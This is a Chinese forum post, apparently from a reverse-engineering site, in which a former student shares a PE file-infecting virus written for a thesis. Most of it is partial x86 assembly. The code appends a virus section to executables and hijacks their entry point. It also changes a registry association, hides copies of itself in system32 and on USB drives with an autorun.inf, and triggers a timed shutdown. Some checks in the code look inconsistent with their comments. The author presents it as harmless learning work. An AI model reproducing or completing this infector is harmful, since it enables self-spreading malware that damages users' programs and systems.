我对安全相关的技术非常感兴趣,于是很早就定下了说在大学期间好好研究恶意代码技术,希望自己能做一个名副其实的无害的病毒。由于大学2年级才有了自己的电脑,入门太晚,还是太菜。花了近1年半才似懂非懂的做出了这个PE感染型病毒。已经毕业好几年了。偶然发现我的论文和代码居然在一些小网站售卖。不知道是哪个黑心的老师干的,加上自从看雪改版以来这里的气氛非常活跃。我就决定发到我长久景仰的看雪。
东西确实比较基础,发到初学者这里,但这一切是我在毫无恶意代码的知识和汇编知识的情况下花了一年多时间一点点啃出来的。请各位不要笑话。谢谢
大多的知识是吸取了guojpeng大牛的一篇paper,在此表示感谢。但由于代码只是片段。我加上了自己的很多东西,并调试通过编译。
程序并无大的破坏,只是修改了几个注册表键值和定时发作关机。也并未常驻内存,只是感染了C目录下的winrar.exe
这个程序分5个模块
核心代码
lea edi,[ebp+aGetModuleHandle] ;EDI指向API函数地址存放位置 lea esi,[ebp+lpApiAddrs] ;ESI指向API函数名字串偏移地址Loop_Get_API:
lodsd ;EAX,DS:ESI
cmp eax,0
jz End_Get_API
add eax,ebp
push eax ;第一次EAX中放着GetModuleHandleA函数名字串的真实位置
push dword ptr [ebp+k32Base] ;kernel32.dll基地址
call GetAPIAdd ;SearchAPI.asm中过程GetAPIA proto :DWORD,:DWORD
stosd
jmp Loop_Get_API ;获得API地址,参见SearchAPI.asm文件
End_Get_API:
核心代码
cmp word ptr [esi],'ZM' ;PE文件判断第一步
jne CouldNotInfect
cmp word ptr [esi],'EP' ;PE文件判断第二步
jne CouldNotInfect
cmp dword ptr [esi+8],'JERR' ;文件是否已经感染
je Loop_Get_Path ;如果已经感染过了,试图感染下一个指定文件
……
mov [ebp+pe_Header],esi ;保存pe_Header指针
mov ecx,[esi+74h] ;得到directory的数目
imul ecx,ecx,8
lea eax,[ecx+esi+78h] ;eax=data directory结束地址=节表起始地址
movzx ecx,word ptr [esi+6h] ;节数目
imul ecx,ecx,28h ;得到所有节表的大小
add eax,ecx ;节结尾
xchg eax,esi ;eax->Pe_header,esi->最后节开始偏移(即病毒节开始处)
;----------以上得到了新节的起始地址,以下是利用起始对病毒节的操作------------
mov dword ptr [esi],'REJ.' ;节名.JERRY
mov dword ptr [esi+8],VirusLen ;节的实际大小
……
mov dword ptr [esi+10h],eax ;保存节对齐文件后的大小
mov eax,[esi-40+14h]
add eax,[esi-40+10h]
mov [esi+14h],eax ;PointerToRawData更新
mov [ebp+oldEnd],eax ;病毒代码往HOST文件中的写入点
mov eax,[ebp+pe_Header]
inc word ptr [eax+6h] ;更新节数目
mov ebx,[eax+28h] ;eip指针偏移
mov [ebp+oldEip],ebx ;保存老指针
mov ebx,[ebp+newEip] ;使HOST程序首先执行病毒程序
mov [eax+28h],ebx ;更新指针值
mov ebx,[eax+50h] ;更新ImageSize
add ebx,VirusLen
……
mov [eax+50h],ebx ;确保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度
mov dword ptr [eax+8],'JERR' ;病毒感染标志直接写到被感染文件的PE头中
cld
mov ecx,VirusLen
mov edi,[ebp+oldEnd]
add edi,[ebp+pMem]
lea esi,[ebp+vBegin]
rep movsb ;将病毒代码写入目标文件新建的节中!
……
push [ebp+hFile]
call [ebp+aSetFilePointer] ;设定文件读写指针
push [ebp+hFile]
call [ebp+aSetEndOfFile] ; 将当前文件位置设为文件末尾
核心代码
call [ebp+aLoadLibrary] ;导入advapi32.dll链接库
mov ebx,eax
lea edx,[ebp+sRegOpenKeyExA]
push edx
push ebx
call [ebp+aGetProcAddress] ;获取RegOpenKeyExA函数的地址
……
call [ebp+aRegOpenKeyExA] ;修改注册表与NOTEPAD.EXE关联
……
call [ebp+aRegSetValueExA]
……
push FALSE
lea eax,[ebp+destinationaddr]
push eax
lea eax,[ebp+sourceaddr]
push eax
call [ebp+aCopyFileA] ;把JERRY.EXE拷贝到C:WINDOWS\system32\JERRY.EXE
;-------------------------------
push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN
lea eax,[ebp+destinationaddr]
push eax
call [ebp+aSetFileAttributes]
……
call [ebp+aGetDriveTypeA] ;取得U盘的盘符
cmp eax,DRIVE_REMOVABLE
……
call [ebp+aCopyFileA] ;拷贝文件\system32\JERRY.exe到#:\JERRY.EXE
……
push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN
……
push GENERIC_READ+GENERIC_WRITE
call [ebp+aCreateFile] ;生成空#:\autorun.inf
……
call [ebp+aWriteFile] ;为anturun.inf写入内容
……
核心代码
call [ebp+aLoadLibrary] ;导入user32.dll链接库
mov ebx,eax
lea edx,[ebp+sMessageBoxA]
push edx
push eax
call [ebp+aGetProcAddress] ;获取MessageBoxA函数的地址
……
lea eax,[ebp+Time] ;23:20-23:59分之间发作
push eax
call [ebp+aGetSystemTime]
cmp [ebp+Time].wHour,0Fh
jnz No_Infect
cmp [ebp+Time].wMinute,3Bh
ja No_Infect
cmp [ebp+Time].wMinute,14h
jb No_Infect
……
push 0
call [ebp+aMessageBoxA]
……
push SW_SHOW
lea eax,[ebp+shutdown]
push eax
call [ebp+aWinExec]
- 病毒程序搜索API函数模块-SearchAPI.ASM
- 病毒程序感染EXE文件模块-Modify_PE.ASM
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)